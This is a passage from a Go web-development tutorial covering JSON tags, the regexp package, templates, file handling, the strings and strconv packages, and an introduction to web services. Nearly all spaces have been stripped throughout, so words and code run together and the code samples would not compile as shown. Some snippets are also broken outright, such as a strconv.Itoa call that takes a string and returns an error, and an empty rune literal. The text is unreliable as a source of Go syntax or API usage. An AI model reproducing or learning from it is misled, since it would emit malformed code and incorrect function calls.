Fieldtagscontaining"-"willnotbeoutputted.Ifatagcontainsacustomizedname,Gousesthisinsteadofthefieldname,likeserverNameintheaboveexample.Ifatagcontainsomitempty,thisfieldwillnotbeoutputtedifitisitszero-value.Ifthefieldtypeisbool,string,int,int64,etc,anditstagcontains",string",GoconvertsthisfieldtoitscorrespondingJSONtype.

Example:

typeServerstruct{//IDwillnotbeoutputed.IDint`json:"-"`

//ServerName2willbeconvertedtoJSONtype.ServerNamestring`json:"serverName"`ServerName2string`json:"serverName2,string"`

//IfServerIPisempty,itwillnotbeoutputed.ServerIPstring`json:"serverIP,omitempty"`}

s:=Server{ID:3,ServerName:`Go"1.0"`,ServerName2:`Go"1.0"`,ServerIP:``,}b,_:=json.Marshal(s)os.Stdout.Write(b)

Output:

{"serverName":"Go\"1.0\"","serverName2":"\"Go\\\"1.0\\\"\""}

TheMarshalfunctiononlyreturnsdatawhenithassucceeded,soherearesomepointsweneedtokeepinmind:

JSONonlysupportsstringsaskeys,soifyouwanttoencodeamap,itstypehastobemap[string]T,whereTisthetypeinGo.Typeslikechannel,complextypesandfunctionsarenotabletobeencodedtoJSON.Donottrytoencodecyclicdata,itleadstoaninfiniterecursion.Ifthefieldisapointer,Gooutputsthedatathatitpointsto,orelseoutputsnullifitpointstonil.

Inthissection,weintroducedhowtodecodeandencodeJSONdatainGo.Wealsolookedatonethird-partyprojectcalledsimplejsonwhichisfor

parsingJSONorunknownformat.TheseareallusefulconceptsfordeveloppingwebapplicationsinGo.

Links

DirectoryPrevioussection:XMLNextsection:Regexp

7.3RegexpRegexpisacomplicatedbutpowerfultoolforpatternmatchingandtextmanipulation.Althoughdoesnotperformaswellaspuretextmatching,it'smoreflexible.Basedonitssyntax,youcanfilteralmostanykindoftextfromyoursourcecontent.Ifyouneedtocollectdatainwebdevelopment,it'snothardtouseRegexptoretrievemeaningfuldata.

Gohastheregexppackage,whichprovidesofficialsupportforregexp.Ifyou'vealreadyusedregexpinotherprogramminglanguages,youshouldbefamiliarwithit.NotethatGoimplementedRE2standardexceptfor\C.Formoredetails,followthislink:http://code.google.com/p/re2/wiki/Syntax.

Go'sstringspackagecanactuallydomanyjobslikesearching(Contains,Index),replacing(Replace),parsing(Split,Join),etc.,andit'sfasterthanRegexp.However,thesearealltrivialoperations.Ifyouwanttosearchacaseinsensitivestring,Regexpshouldbeyourbestchoice.So,ifthestringspackageissufficientforyourneeds,justuseitsinceit'seasytouseandread;ifyouneedtoperformmoreadvancedoperations,useRegexp.

Ifyourecallformverificationfromprevioussections,weusedRegexptoverifythevalidityofuserinputinformation.BeawarethatallcharactersareUTF-8.Let'slearnmoreabouttheGoregexppackage!

Match

Theregexppackagehas3functionstomatch:ifitmatchesapattern,thenitreturnstrue,returningfalseotherwise.

funcMatch(patternstring,b[]byte)(matchedbool,errorerror)funcMatchReader(patternstring,rio.RuneReader)(matchedbool,errorerror)funcMatchString(patternstring,sstring)(matchedbool,errorerror)

Allof3functionscheckifpatternmatchestheinputsource,returningtrueifitmatches.HoweverifyourRegexhassyntaxerrors,itwillreturnanerror.The3inputsourcesofthesefunctionsaresliceofbyte,RuneReaderandstring.

HereisanexampleofhowtoverifyanIPaddress:

funcIsIP(ipstring)(bbool){ifm,_:=regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$",ip);!m{returnfalse}returntrue}

Asyoucansee,usingpatternintheregexppackageisnotthatdifferent.Here'sonemoreexampleonverifyingifuserinputisvalid:

funcmain(){iflen(os.Args)==1{fmt.Println("Usage:regexp[string]")os.Exit(1)}elseifm,_:=regexp.MatchString("^[0-9]+$",os.Args[1]);m{fmt.Println("Number")}else{

fmt.Println("Notnumber")}}

Intheaboveexamples,weuseMatch(Reader|Sting)tocheckifcontentisvalid,buttheyarealleasytouse.

Filter

Matchmodecanverifycontentbutitcannotcut,filterorcollectdatafromit.Ifyouwanttodothat,youhavetousecomplexmodeofRegexp.

Let'ssayweneedtowriteacrawler.HereisanexamplethatshowswhenyoumustuseRegexptofilterandcutdata.

packagemain

import("fmt""io/ioutil""net/http""regexp""strings")

funcmain(){resp,err:=http.Get("http://www.baidu.com")iferr!=nil{fmt.Println("httpgeterror.")}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{fmt.Println("httpreaderror")return}

src:=string(body)

//ConvertHTMLtagstolowercase.

re,_:=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllStringFunc(src,strings.ToLower)

//RemoveSTYLE.re,_=regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")src=re.ReplaceAllString(src,"")

//RemoveSCRIPT.re,_=regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")src=re.ReplaceAllString(src,"")

//RemoveallHTMLcodeinanglebrackets,andreplacewithnewline.re,_=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllString(src,"\n")

//Removecontinuousnewline.re,_=regexp.Compile("\\s{2,}")src=re.ReplaceAllString(src,"\n")

fmt.Println(strings.TrimSpace(src))}

Inthisexample,weuseCompileasthefirststepforcomplexmode.ItverifiesthatyourRegexsyntaxiscorrect,thenreturnsaRegexpforparsingcontentinotheroperations.

HerearesomefunctionstoparseyourRegexpsyntax:

funcCompile(exprstring)(*Regexp,error)funcCompilePOSIX(exprstring)(*Regexp,error)funcMustCompile(strstring)*RegexpfuncMustCompilePOSIX(strstring)*Regexp

ThedifferencebetweenComplePOSIXandCompileisthattheformerhastousePOSIXsyntaxwhichisleftmostlongestsearch,andthelatterisonlyleftmostsearch.Forinstance,forRegexp[a-z]{2,4}andcontent"aa09aaa88aaaa",CompilePOSIXreturnsaaaabutCompilereturnsaa.MustprefixmeanspanicwhentheRegexpsyntaxisnotcorrect,returningerrorotherwise.

NowthatweknowhowtocreateanewRegexp,let'sseewhathowthemethodsprovidedbythisstructcanhelpustooperateoncontent:

func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllString(sstring,nint)[]stringfunc(re*Regexp)FindAllStringIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllStringSubmatch(sstring,nint)[][]stringfunc(re*Regexp)FindAllStringSubmatchIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindReaderIndex(rio.RuneReader)(loc[]int)func(re*Regexp)FindReaderSubmatchIndex(rio.RuneReader)[]intfunc(re*Regexp)FindString(sstring)stringfunc(re*Regexp)FindStringIndex(sstring)(loc[]int)func(re*Regexp)FindStringSubmatch(sstring)[]stringfunc(re*Regexp)FindStringSubmatchIndex(sstring)[]intfunc(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int

These18methodsincludeidenticalfunctionsfordifferentinputsources(byteslice,stringandio.RuneReader),sowecanreallysimplifythislistbyignoringinputsourcesasfollows:

func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int

Codesample:

packagemain

import("fmt""regexp")

funcmain(){a:="IamlearningGolanguage"

re,_:=regexp.Compile("[a-z]{2,4}")

//Findthefirstmatch.one:=re.Find([]byte(a))fmt.Println("Find:",string(one))

//Findallmatchesandsavetoaslice,nlessthan0meansreturnallmatches,indicateslengthofsliceifit'sgreaterthan0.all:=re.FindAll([]byte(a),-1)fmt.Println("FindAll",all)

//Findindexoffirstmatch,startandendposition.index:=re.FindIndex([]byte(a))fmt.Println("FindIndex",index)

//Findindexofallmatches,thendoessamejobasabove.allindex:=re.FindAllIndex([]byte(a),-1)fmt.Println("FindAllIndex",allindex)

re2,_:=regexp.Compile("am(.*)lang(.*)")

//Findfirstsubmatchandreturnarray,thefirstelementcontainsallelements,thesecondelementcontainstheresultoffirst(),thethirdelementcontainstheresultofsecond().//Output://thefirstelement:"amlearningGolanguage"//thesecondelement:"learningGo",noticespaceswillbeoutputedaswell.//thethirdelement:"uage"submatch:=re2.FindSubmatch([]byte(a))fmt.Println("FindSubmatch",submatch)for_,v:=rangesubmatch{fmt.Println(string(v))}

//SamethinglikeFindIndex().submatchindex:=re2.FindSubmatchIndex([]byte(a))

fmt.Println(submatchindex)

//FindAllSubmatch,findallsubmatches.submatchall:=re2.FindAllSubmatch([]byte(a),-1)fmt.Println(submatchall)

//FindAllSubmatchIndex,findindexofallsubmatches.submatchallindex:=re2.FindAllSubmatchIndex([]byte(a),-1)fmt.Println(submatchallindex)}

Aswe'vepreviouslyintroduced,Regexpalsohas3methodsformatching.Theydotheexactsamethingsastheexportedfunctions.Infact,thoseexportedfunctionsactuallycallthesemethodsunderthehood:

func(re*Regexp)Match(b[]byte)boolfunc(re*Regexp)MatchReader(rio.RuneReader)boolfunc(re*Regexp)MatchString(sstring)bool

Next,let'sseehowtoreplacestringsusingRegexp:

func(re*Regexp)ReplaceAll(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllFunc(src[]byte,replfunc([]byte)[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteral(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteralString(src,replstring)stringfunc(re*Regexp)ReplaceAllString(src,replstring)stringfunc(re*Regexp)ReplaceAllStringFunc(srcstring,replfunc(string)string)string

Theseareusedinthecrawlingexample,sowedon'texplainmorehere.

Let'stakealookatthedefinitionofExpand:

func(re*Regexp)Expand(dst[]byte,template[]byte,src[]byte,match[]int)[]bytefunc(re*Regexp)ExpandString(dst[]byte,templatestring,srcstring,match[]int)[]byte

SohowdoweuseExpand?

funcmain(){src:=[]byte(`callhelloalicehellobobcallhelloeve`)pat:=regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)res:=[]byte{}for_,s:=rangepat.FindAllSubmatchIndex(src,-1){res=pat.Expand(res,[]byte("$cmd('$arg')\n"),src,s)}fmt.Println(string(res))}

Atthispoint,you'velearnedthewholeregexppackageinGo.Ihopethatyoucanunderstandmorebystudyingexamplesofkeymethods,sothatyoucandosomethinginterestingonyourown.

Links

DirectoryPrevioussection:JSONNextsection:Templates

7.4Templates

Whatisatemplate?

Hopefullyyou'reawareoftheMVC(Model,View,Controller)designmodel,wheremodelsprocessdata,viewsshowtheresultsandfinally,controllers

handleuserrequests.Forviews,manydynamiclanguagesgeneratedatabywritingcodeinstaticHTMLfiles.Forinstance,JSPisimplementedbyinserting<%=....=%>,PHPbyinserting<?php.....?>,etc.

Thefollowingdemonstratesthetemplatemechanism:

Figure7.1Templatemechanism

Mostofthecontentthatwebapplicationsrespondtoclientswithisstatic,andthedynamicpartsareusuallyverysmall.Forexample,ifyouneedtoshowalistuserswhohavevisitedapage,onlytheusernamewouldbedynamic.Thestyleofthelistremainsthesame.Asyoucansee,templatesareusefulforreusingstaticcontent.

TemplatinginGo

InGo,wehavethetemplatepackagetohelphandletemplates.WecanusefunctionslikeParse,ParseFileandExecutetoloadtemplatesfromplaintextorfiles,thenevaluatethedynamicparts,likeinfigure7.1.

Example:

funchandler(whttp.ResponseWriter,r*http.Request){t:=template.New("sometemplate")//Createatemplate.t,_=t.ParseFiles("tmpl/welcome.html",nil)//Parsetemplatefile.user:=GetUser()//Getcurrentuserinfomration.t.Execute(w,user)//merge.}

Asyoucansee,it'sveryeasytouse,loadandrenderdataintemplatesinGo,justlikeinotherprogramminglanguages.

Forthesakeofconvenience,wewillusethefollowingrulesinourexamples:

UseParsetoreplaceParseFilesbecauseParsecantestcontentdirectlyfromstrings,sowedon'tneedanyextrafiles.Usemainforeveryexampleanddonotusehandler.Useos.Stdouttoreplacehttp.ResponseWritersinceos.Stdoutalsoimplementstheio.Writerinterface.

Insertingdataintoatemplate

We'vejustshowedyouhowtoparseandrendertemplates.Let'stakeitonestepfurtherandrenderdatatoourtemplates.EverytemplateisanobjectinGo,sohowdoweinsertfieldstotemplates?

Fields

InGo,Everyfieldthatyouintendtoberenderedwithinatemplateshouldbeputinsideof{{}}.{{.}}isshorthandforthecurrentobject,whichissimilartoitsJavaorC++counterpart.Ifyouwanttoaccessthefieldsofthecurrentobject,youshoulduse{{.FieldName}}.Noticethatonlyexportedfieldscanbeaccessedintemplates.Hereisanexample:

packagemain

import("html/template""os")

typePersonstruct{UserNamestring}

funcmain(){

t:=template.New("fieldnameexample")t,_=t.Parse("hello{{.UserName}}!")p:=Person{UserName:"Astaxie"}t.Execute(os.Stdout,p)}

TheaboveexampleoutputshelloAstaxiecorrectly,butifwemodifyourstructalittlebit,thefollowingerroremerges:

typePersonstruct{UserNamestringemailstring//Fieldisnotexported.}

t,_=t.Parse("hello{{.UserName}}!{{.email}}")

Thispartofthecodewillnotbecompiledbecausewetrytoaccessafieldthathasnotbeenexported.However,ifwetrytouseafieldthatdoesnotexist,Gosimplyoutputsanemptystringinsteadofanerror.

Ifyouprint{{.}}inatemplate,Gooutputsformattedstringofthisobject,callingfmtunderthecovers.

Nestedfields

Weknowhowtooutputafieldnow.Whatifthefieldisanobject,anditalsohasitsownfields?Howdoweprintthemallinoneloop?Wecanuse{{with…}}…{{end}}and{{range…}}{{end}}forexactlythat.

{{range}}justlikerangeinGo.{{with}}letsyouwritethesameobjectnameonceanduse.asshorthandforit(SimilartowithinVB).

Moreexamples:

packagemain

import("html/template""os")

typeFriendstruct{Fnamestring}

typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}

funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemail{{.}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}

Conditions

Ifyouneedtocheckforconditionsintemplates,youcanusetheif-elsesyntaxjustlikeyoudoinregularGoprograms.Ifthepipelineisempty,thedefaultvalueofifisfalse.Thefollowingexampleshowshowtouseif-elseintemplates:

packagemain

import("os""text/template")

funcmain(){tEmpty:=template.New("templatetest")tEmpty=template.Must(tEmpty.Parse("Emptypipelineifdemo:{{if``}}willnotbeoutputted.{{end}}\n"))tEmpty.Execute(os.Stdout,nil)

tWithValue:=template.New("templatetest")tWithValue=template.Must(tWithValue.Parse("Notemptypipelineifdemo:{{if`anything`}}willbeoutputted.{{end}}\n"))tWithValue.Execute(os.Stdout,nil)

tIfElse:=template.New("templatetest")tIfElse=template.Must(tIfElse.Parse("if-elsedemo:{{if`anything`}}ifpart{{else}}elsepart.{{end}}\n"))tIfElse.Execute(os.Stdout,nil)}

Asyoucansee,it'seasytouseif-elseintemplates.

AttentionYouCANNOTuseconditionalexpressionsinif,forinstance.Mail=="[email protected]".Onlybooleanvaluesareacceptable.

pipelines

Unixusersshouldbefamiliarwiththepipeoperator,likels|grep"beego".Thiscommandfiltersfilesandonlyshowsthosethatcontainthewordbeego.OnethingthatIlikeaboutGotemplatesisthattheysupportpipes.Anythingin{{}}canbethedataofpipelines.Thee-mailweusedabovecanrenderourapplicationvulnerabletoXSSattacks.Howcanweaddressthisissueusingpipes?

{{.|html}}

Wecanusethismethodtoescapethee-mailbodytoHTML.It'squitethesameaswritingaUnixcommand,anditsconvenientforuseintemplatefunctions.

Templatevariables

Sometimesweneedtouselocalvariablesintemplates.Wecanusethemwiththewith,rangeandifkeywords,andtheirscopeisbetweenthesekeywordsand{{end}}.Here'sanexampleofdeclaringaglobalvariable:

$variable:=pipeline

Moreexamples:

{{with$x:="output"|printf"%q"}}{{$x}}{{end}}{{with$x:="output"}}{{printf"%q"$x}}{{end}}{{with$x:="output"}}{{$x|printf"%q"}}{{end}}

Templatefunctions

Gousesthefmtpackagetoformatoutputintemplates,butsometimesweneedtodosomethingelse.Asanexamplescenario,let'ssaywewanttoreplace@withatinoure-mailaddress,likeastaxieatbeego.me.Atthispoint,wehavetowriteacustomizedfunction.

EverytemplatefunctionhasauniquenameandisassociatedwithonefunctioninyourGoprogramasfollows:

typeFuncMapmap[string]interface{}

SupposewehaveanemailDealtemplatefunctionassociatedwithitsEmailDealWithcounterpartfunctioninourGoprogram.Wecanusethe

followingcodetoregisterthisfunction:

t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})

EmailDealWithdefinition:

funcEmailDealWith(args…interface{})string

Example:

packagemain

import("fmt""html/template""os""strings")

typeFriendstruct{Fnamestring}

typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}

funcEmailDealWith(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}//findthe@symbolsubstrs:=strings.Split(s,"@")

iflen(substrs)!=2{returns}//replacethe@by"at"return(substrs[0]+"at"+substrs[1])}

funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemails{{.|emailDeal}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}

Hereisalistofbuilt-intemplatefunctions:

varbuiltins=FuncMap{"and":and,"call":call,"html":HTMLEscaper,"index":index,"js":JSEscaper,"len":length,"not":not,"or":or,"print":fmt.Sprint,"printf":fmt.Sprintf,"println":fmt.Sprintln,"urlquery":URLQueryEscaper,}

Must

ThetemplatepackagehasafunctioncalledMustwhichisforvalidatingtemplates,likethematchingofbraces,comments,andvariables.Let'stakealookatanexampleofMust:

packagemain

import("fmt""text/template")

funcmain(){tOk:=template.New("first")template.Must(tOk.Parse("somestatictext/*andacomment*/"))fmt.Println("ThefirstoneparsedOK.")

template.Must(template.New("second").Parse("somestatictext{{.Name}}"))fmt.Println("ThesecondoneparsedOK.")

fmt.Println("Thenextoneoughttofail.")tErr:=template.New("checkparseerrorwithMust")template.Must(tErr.Parse("somestatictext{{.Name}"))}

Output:

ThefirstoneparsedOK.ThesecondoneparsedOK.Thenextoneoughttofail.panic:template:checkparseerrorwithMust:1:unexpected"}"incommand

Nestedtemplates

Justlikeinmostwebapplications,certainpartsoftemplatescanbereusedacrossothertemplates,liketheheadersandfootersofablog.Wecandeclareheader,contentandfooterassub-templates,anddeclaretheminGousingthefollowingsyntax:

{{define"sub-template"}}content{{end}}

Thesub-templateiscalledusingthefollowingsyntax:

{{template"sub-template"}}

Here'sacompleteexample,supposingthatwehavethefollowingthreefiles:header.tmpl,content.tmplandfooter.tmpl.

Maintemplate:

//header.tmpl{{define"header"}}<html><head><title>Somethinghere</title></head><body>{{end}}

//content.tmpl{{define"content"}}{{template"header"}}<h1>Nestedhere</h1><ul><li>Nestedusag</li><li>Calltemplate</li></ul>{{template"footer"}}{{end}}

//footer.tmpl{{define"footer"}}</body></html>{{end}}

Code:

packagemain

import("fmt""os""text/template")

funcmain(){s1,_:=template.ParseFiles("header.tmpl","content.tmpl","footer.tmpl")s1.ExecuteTemplate(os.Stdout,"header",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"content",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"footer",nil)fmt.Println()s1.Execute(os.Stdout,nil)}

Herewecanseethattemplate.ParseFilesparsesallnestedtemplatesintocache,andthateverytemplatedefinedby{{define}}isindependentofoneanother.Theyarepersistedinsomethinglikeamap,wherethetemplatenamesarekeysandthevaluesarethetemplatebodies.WecanthenuseExecuteTemplatetoexecutethecorrespondingsub-templates,sothattheheaderandfooterareindependentandcontentcontainsthemboth.Notethatifwetrytoexecutes1.Execute,nothingwillbeoutputtedbecausethereisnodefaultsub-templateavailable.

Templatesinonesetknoweachother,butyoumustparsethemforeverysingleset.

Summary

Inthissection,youlearnedhowtocombinedynamicdatawithtemplatesusingtechniquesincludingprintingdatainloops,templatefunctionsandnestedtemplates.Bylearningabouttemplates,wecanconcludediscussingtheVpartoftheMVCarchitecture.Inthefollowingchapters,wewillcovertheMandCaspectsofMVC.

Links

DirectoryPrevioussection:RegexpNextsection:Files

7.5FilesFilesaremust-haveobjectsoneverysinglecomputerdevice.Itwon'tcomeasanysurprisetoyouthatwebapplicationsalsomakeheavyuseofthem.Inthissection,we'regoingtolearnhowtooperateonfilesinGo.

Directories

InGo,mostofthefileoperationfunctionsarelocatedintheospackage.Herearesomedirectoryfunctions:

funcMkdir(namestring,permFileMode)error

Createadirectorywithname.permisthedirectorypermissions,i.e0777.

funcMkdirAll(pathstring,permFileMode)error

Createmultipledirectoriesaccordingtopath,like

astaxie/test1/test2.

funcRemove(namestring)error

Removesdirectorywithname.Returnserrorifit'snotadirectoryornotempty.

funcRemoveAll(pathstring)error

Removesmultipledirectoriesaccordingtopath.Directorieswillnotbedeletedifpathisasinglepath.

Codesample:

packagemain

import("fmt""os")

funcmain(){os.Mkdir("astaxie",0777)os.MkdirAll("astaxie/test1/test2",0777)err:=os.Remove("astaxie")iferr!=nil{fmt.Println(err)}os.RemoveAll("astaxie")}

Files

Createandopenfiles

Therearetwofunctionsforcreatingfiles:

funcCreate(namestring)(file*File,errError)

Createafilewithnameandreturnaread-writablefileobjectwithpermission0666.

funcNewFile(fduintptr,namestring)*File

Createafileandreturnafileobject.

Therearealsotwofunctionstoopenfiles:

funcOpen(namestring)(file*File,errError)

Opensafilecallednamewithread-onlyaccess,callingOpenFileunderthecovers.

funcOpenFile(namestring,flagint,permuint32)(file*File,errError)

Opensafilecalledname.flagisopenmodelikeread-only,read-write,etc.permarethefilepermissions.

Writefiles

Functionsforwritingfiles:

func(file*File)Write(b[]byte)(nint,errError)

Writebytetypecontenttoafile.

func(file*File)WriteAt(b[]byte,offint64)(nint,errError)

Writebytetypecontenttoaspecificpositionofafile.

func(file*File)WriteString(sstring)(retint,errError)

Writeastringtoafile.

Codesample:

packagemain

import("fmt""os")

funcmain(){userFile:="astaxie.txt"fout,err:=os.Create(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfout.Close()fori:=0;i<10;i++{fout.WriteString("Justatest!\r\n")fout.Write([]byte("Justatest!\r\n"))}}

Readfiles

Functionsforreadingfiles:

func(file*File)Read(b[]byte)(nint,errError)

Readdatatob.

func(file*File)ReadAt(b[]byte,offint64)(nint,errError)

Readdatafrompositionofftob.

Codesample:

packagemain

import("fmt""os")

funcmain(){userFile:="asatxie.txt"fl,err:=os.Open(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfl.Close()buf:=make([]byte,1024)for{n,_:=fl.Read(buf)if0==n{break}os.Stdout.Write(buf[:n])}}

Deletefiles

Gousesthesamefunctionforremovingfilesanddirectories:

funcRemove(namestring)Error

Removeafileordirectorycalledname.(anameendingwith/signifiesthatit'sadirectory)

Links

DirectoryPrevioussection:TemplatesNextsection:Strings

7.6StringsOntheweb,almosteverythingwesee(includinguserinputs,databaseaccess,etc.),isrepresentedbystrings.Theyareaveryimportantpartof

webdevelopment.Inmanycases,wealsoneedtosplit,join,convertandotherwisemanipulatestrings.Inthissection,wearegoingtointroducethestringsandstrconvpackagesfromtheGostandardlibrary.

strings

Thefollowingfunctionsarefromthestringspackage.Seetheofficialdocumentationformoredetails:

funcContains(s,substrstring)bool

Checkifstringscontainsstringsubstr,returnsabooleanvalue.

fmt.Println(strings.Contains("seafood","foo"))fmt.Println(strings.Contains("seafood","bar"))fmt.Println(strings.Contains("seafood",""))fmt.Println(strings.Contains("",""))

//Output://true//false//true//true

funcJoin(a[]string,sepstring)string

Combinestringsfromslicewithseparatorsep.

s:=[]string{"foo","bar","baz"}fmt.Println(strings.Join(s,","))//Output:foo,bar,baz

funcIndex(s,sepstring)int

Findindexofsepinstrings,returns-1ifit'snotfound.

fmt.Println(strings.Index("chicken","ken"))fmt.Println(strings.Index("chicken","dmr"))//Output:4//-1

funcRepeat(sstring,countint)string

Repeatstringscounttimes.

fmt.Println("ba"+strings.Repeat("na",2))//Output:banana

funcReplace(s,old,newstring,nint)string

Replacestringoldwithstringnewinstrings.nisthenumberofreplacements.Ifnislessthan0,replaceallinstances.

fmt.Println(strings.Replace("oinkoinkoink","k","ky",2))fmt.Println(strings.Replace("oinkoinkoink","oink","moo",-1))//Output:oinkyoinkyoink//moomoomoo

funcSplit(s,sepstring)[]string

Splitstringswithseparatorsepintoaslice.

fmt.Printf("%q\n",strings.Split("a,b,c",","))fmt.Printf("%q\n",strings.Split("amanaplanacanalpanama","a"))fmt.Printf("%q\n",strings.Split("xyz",""))fmt.Printf("%q\n",strings.Split("","BernardoO'Higgins"))//Output:["a""b""c"]//["""man""plan""canalpanama"]//["""x""y""z"""]//[""]

funcTrim(sstring,cutsetstring)string

Removecutsetofstringsifit'sleftmostorrightmost.

fmt.Printf("[%q]",strings.Trim("!!!Achtung!!!","!"))Output:["Achtung"]

funcFields(sstring)[]string

Removespaceitemsandsplitstringwithspaceintoaslice.

fmt.Printf("Fieldsare:%q",strings.Fields("foobarbaz"))//Output:Fieldsare:["foo""bar""baz"]

strconv

Thefollowingfunctionsarefromthestrconvpackage.Asusual,pleaseseeofficialdocumentationformoredetails:

Appendseries,convertdatatostring,andappendtocurrentbyteslice.

packagemain

import("fmt""strconv")

funcmain(){str:=make([]byte,0,100)str=strconv.AppendInt(str,4567,10)str=strconv.AppendBool(str,false)str=strconv.AppendQuote(str,"abcdefg")str=strconv.AppendQuoteRune(str,'' )fmt.Println(string(str))}

Formatseries,convertotherdatatypesintostring.

packagemain

import("fmt""strconv")

funcmain(){a:=strconv.FormatBool(false)b:=strconv.FormatFloat(123.23,'g',12,64)c:=strconv.FormatInt(1234,10)d:=strconv.FormatUint(12345,10)e:=strconv.Itoa(1023)fmt.Println(a,b,c,d,e)}

Parseseries,convertstringstoothertypes.

packagemain

import("fmt""strconv")

funcmain(){a,err:=strconv.ParseBool("false")iferr!=nil{fmt.Println(err)}b,err:=strconv.ParseFloat("123.23",64)iferr!=nil{fmt.Println(err)}c,err:=strconv.ParseInt("1234",10,64)iferr!=nil{fmt.Println(err)}

d,err:=strconv.ParseUint("12345",10,64)iferr!=nil{fmt.Println(err)}e,err:=strconv.Itoa("1023")iferr!=nil{fmt.Println(err)}fmt.Println(a,b,c,d,e)}

Links

DirectoryPrevioussection:FilesNextsection:Summary

7.7SummaryInthischapter,weintroducedsometextprocessingtoolslikeXML,JSON,Regexpandwealsotalkedabouttemplates.XMLandJSONaredataexchangetools.Youcanrepresentalmostanykindofinformationusingthesetwoformats.Regexpisapowerfultoolforsearching,replacingandcuttingtextcontent.Withtemplates,youcaneasilycombinedynamicdatawithstaticfiles.Thesetoolsareallusefulwhendeveloppingwebapplications.IhopethatyounowhaveabetterunderstandingofprocessingandshowingcontentusingGo.

Links

DirectoryPrevioussection:StringsNextchapter:Webservices

8WebservicesWebservicesallowyouuseformatslikeXMLorJSONtoexchangeinformationthroughHTTP.Forexample,ifyouwanttoknowtheweatherinShanghaitomorrow,thecurrentsharepriceofApple,orproductinformationonAmazon,youcanwriteapieceofcodetofetchthatinformationfromopenplatforms.InGo,thisprocesscanbecomparabletocallingalocalfunctionandgettingitsreturnvalue.

Thekeypointisthatwebservicesareplatformindependent.ThisallowsyoutodeployyourapplicationsonLinuxandinteractwithASP.NETapplicationsinWindows,forexample,justlikeyouwouldn'thaveaprobleminteractingwithJSPonFreeBSDeither.

TheRESTarchitectureandSOAPprotocolarethemostpopularstylesinwhichwebservicescanbeimplementedthesedays:

RESTrequestsareprettystraightforwardbecauseit'sbasedonHTTP.EveryRESTrequestisactuallyanHTTPrequest,andservershandlerequestsusingdifferentmethods.BecausemanydevelopersarefamiliarwithHTTPalready,RESTshouldfeellikeit'salreadyintheirbackpockets.WearegoingtoshowyouhowtoimplementRESTinGoinsection8.3.SOAPisastandardforcross-networkinformationtransmissionandremotecomputerfunctioncalls,launchedbyW3C.TheproblemwithSOAPisthatitsspecificationisverylongandcomplicated,andit'sstillgettinglonger.Gobelievesthatthingsshouldbesimple,sowe'renotgoingtotalkaboutSOAP.Fortunately,GoprovidessupportforRPC(RemoteProcedureCalls)whichhasgoodperformanceandiseasytodevelopwith,sowewillintroducehowtoimplementRPCinGoinsection8.4.

GoistheClanguageofthe21stcentury,aspiringtobesimpleyetperformant.Withthesequalitiesinmind,we'llintroduceyoutosocketprogramminginGoinsection8.1.Nowadays,manyreal-timeserversusesocketstoovercomethelowperformanceofHTTP.Alongwiththerapid

developmentofHTML5,websocketsarenowusedbymanywebbasedgamecompanies,andwewilltalkaboutthismoreinsection8.2.

Links

DirectoryPreviousChapter:Chapter7SummaryNextsection:Sockets

